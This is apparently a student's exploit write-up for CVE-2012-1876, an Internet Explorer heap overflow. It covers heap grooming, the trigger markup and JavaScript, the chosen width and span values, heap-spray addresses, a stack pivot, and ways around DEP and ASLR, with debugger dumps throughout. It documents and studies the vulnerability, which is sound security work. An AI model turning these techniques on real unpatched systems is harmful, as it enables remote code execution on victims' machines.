

Exploitation of Internet Explorer Heap Overflow (CVE-2012-1876 Exploit)

WenzhengXu

N13637853

Vulnerability Detail:

Microsoft Internet Explorer 6 through 9, and 10 Consumer Preview, does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by attempting to access a nonexistent object, leading to a heap-based buffer overflow, aka "Col Element Remote Code Execution Vulnerability," as demonstrated by VUPEN during a Pwn2Own competition at CanSecWest 2012.

First, A table layout with Col element with SPAN attribute is created.

It starts looping over on all available columns (through array at offset +0x84) and retrieving the span attribute of the first column. However, this latter was already updated/modified by the JavaScript code.

This latter function will fill the buffer with one NODE structure of size 0x1C and roughly composed of values resulting from the supplied WIDTH attribute.

However due to the SPAN attribute being dynamically updated via JavaScript, the execution leads to several additional iterations within the loop which eventually leads to an out-of-bounds write condition.

This means that M ($M > N$) structures of size 0x1C will be processed although there is space only for N of these structures, leading to an exploitable heap overflow condition which could allow remote attackers to compromise a vulnerable system via a specially crafted web page.

Exploitation Detail:

1. Heap layout craft

To make this vulnerability useful, we must craft the heap in order to have the following layout:

[OBJ][F][SA][OBJ][F][SA][OBJ]

[OBJ] Cobject layout. Overwrite part of vtable address to control EIP

[F] Freed String of size 0xE0

[SA] Allocated string of size 0xE0

The size is calculated by $0x1C * 8 = 0xE0$

After empty the freed string and collect garbage we will have holes.

2.Fill in the hole

Create a vulnerable table layout

```
<table style="table-layout:fixed" >
  <col id="7" width="41" span="8" >AAAAA</col>
</table>
```

As plan,it should fit in our hole on heap.

3.Heap spray

Now we need put our code on heap somewhere. Use heap spray we can allocate 16M string with rop and shellcode on 0x0?0?0024

First crash will read data on offset 0x24 to eax. Then read data on offset 0x20 of eax to edx. Then it jump the address on edx.

So we craft the address on offset 0x24 as start of our code,like 07090024.

After it ,we put a stack pivot on offset 0x20 so program will run this first while eax is our starter of code.

When stack is changed successfully,the pop ret instructions will bring us to safe place of our rop chain to bypass DEP.

Then shellcode will be run on heap and give us a calculator.

4.Exploit

```
function exploit(){
    var ex_obj = document.getElementById("7");
    ex_obj.width = 73769
    ex_obj.span = 19;
}
```

Then addresses in vtable of CObject will be overwritten. We will discuss why

choose Cobject and how to choose numbers when exploiting.

Exploitation Discussion

Actually we can choose many kind of objects to use in exploitation. Here I compare two kind objects:Cbutton and Cobject.

When overwrite cbutton objects,we got a crash:

```
eax=048a83e8 ebx=022df5a8 ecx=07070024 edx=00000008 esi=022df440
edi=048a83d8
eip=6da7fed2 esp=022df424 ebp=022df464 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CEditEvent::CEditEvent+0x13:
6da7fed2 ff5104          call    dword ptr [ecx+4]  ds:0023:07070028=????????
```

```
mshtml!CEditEvent::CEditEvent:
6da7febf c70640519e6d  mov     dword ptr [esi],offset mshtml!
CEditEvent::`vftable' (6d9e5140)
6da7fec5 894604          mov     dword ptr [esi+4],eax
6da7fec8 c7460865000000  mov     dword ptr [esi+8],65h
6da7fecf 8b08          mov     ecx,dword ptr [eax]
6da7fed1 50          push    eax
6da7fed2 ff5104          call    dword ptr [ecx+4]
6da7fed5 83660cf8      and     dword ptr [esi+0Ch],0FFFFFFF8h
6da7fed9 83661800      and     dword ptr [esi+18h],0
6da7fedd 83661cfe      and     dword ptr [esi+1Ch],0FFFFFFFEh
6da7fee1 8bc6          mov     eax,esi
6da7fee3 c3          ret
```

This looks like very beautiful. It directly call the address we controlled. But problem is we have no chance to control other registers. If can't find instruction like xchg ecx,esp. What we have is only one controllable instruction.

When overwrite cobject objects,we got a crash:

```
eax=80012280 ebx=037ce548 ecx=70700248 edx=00000202 esi=037f7b38
edi=03776060
eip=6d9dc421 esp=0214ee90 ebp=0214ee98 iopl=0         nv up ei ng nz na po
nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010282
mshtml!CElement::GetMarkupPtr+0x11:
6d9dc421 8b01          mov     eax,dword ptr [ecx]  ds:0023:70700248=????????
```

```
mshtml!CElement::GetMarkupPtr+0xe:
6d9dc41e 8b4924          mov     ecx,dword ptr [ecx+24h]
6d9dc421 8b01          mov     eax,dword ptr [ecx]
```

```

6d9dc423 8b5020      mov     edx,dword ptr [eax+20h]
6d9dc426 ffe2          jmp     edx

```

Actually we can only control part of ecx in this case. The least bit of ecx will be always 8. Our address will be left shift 1 bit then plus 8. It's not perfect but is acceptable. We need a smart number.

But see the instructions, we can control 3 registers and get a jump. We can easily use stack pivot.

The width and span number is also very magic. The bits we control is calculated by width*100, and the overflow size is 0x1c*SPAN number.

The interesting is the overflow size will affect which crash be triggered.

In Cbutton case:

When SPAN=19

We trigger this crash:

mshtml!CEditEvent::CEditEvent+0x13:

```

6da7fed2 ff5104      call    dword ptr [ecx+4]  ds:0023:07070028=????????

```

When SPAN=30:

eax=05389788 ebx=021af9f8 ecx=07070024 edx=00000017 esi=05389788

edi=05389788

eip=6ac3a49d esp=021af8c4 ebp=021af8cc iopl=0 nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206

mshtml!CHTMLEditor::EnsureSelectionMan+0xd:

```

6ac3a49d 83793400      cmp     dword ptr [ecx+34h],0

```

ds:0023:07070058=????????

In the Cobject case, we need craft a very smart number to get address we need.

I tried every possible address like 0x00?0?002, which we can get address like 0x0?0?0028. But SPAN only accept integer number so we only can find some number very close it.

After some search I found 73769, which will give ecx register below.

eax=80012280 ebx=04a96098 ecx=07090048 edx=00000202 esi=04ac1620

edi=002f76f8

eip=6ab9c421 esp=0226ee40 ebp=0226ee48 iopl=0 nv up ei ng nz na po

nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010282

mshtml!CElement::GetMarkupPtr+0x11:

```

6ab9c421 8b01          mov     eax,dword ptr [ecx]  ds:0023:07090048=????????

```

Improvement and Disadvantages

ASLR

In IE8, we have msvcr71.dll without ASLR protection. It will be loaded on fixed same address every times. But even without it. We can use heap overflow to leak the vftable address to determine the dynamic address. With it ,we can build rop dynamically and bypass ASLR and DEP

Heap Spray Address

Heap Spray Address in this exploit is 07090024, which is fixed and may be too small. In some case, this address will be used before we heap spray.

Heap Spray

In IE8, it didn't offer any protection on heap spray. If there is any protection on heap spray. We could use other methods to do heap spray. Vbscript, flash will help a lot.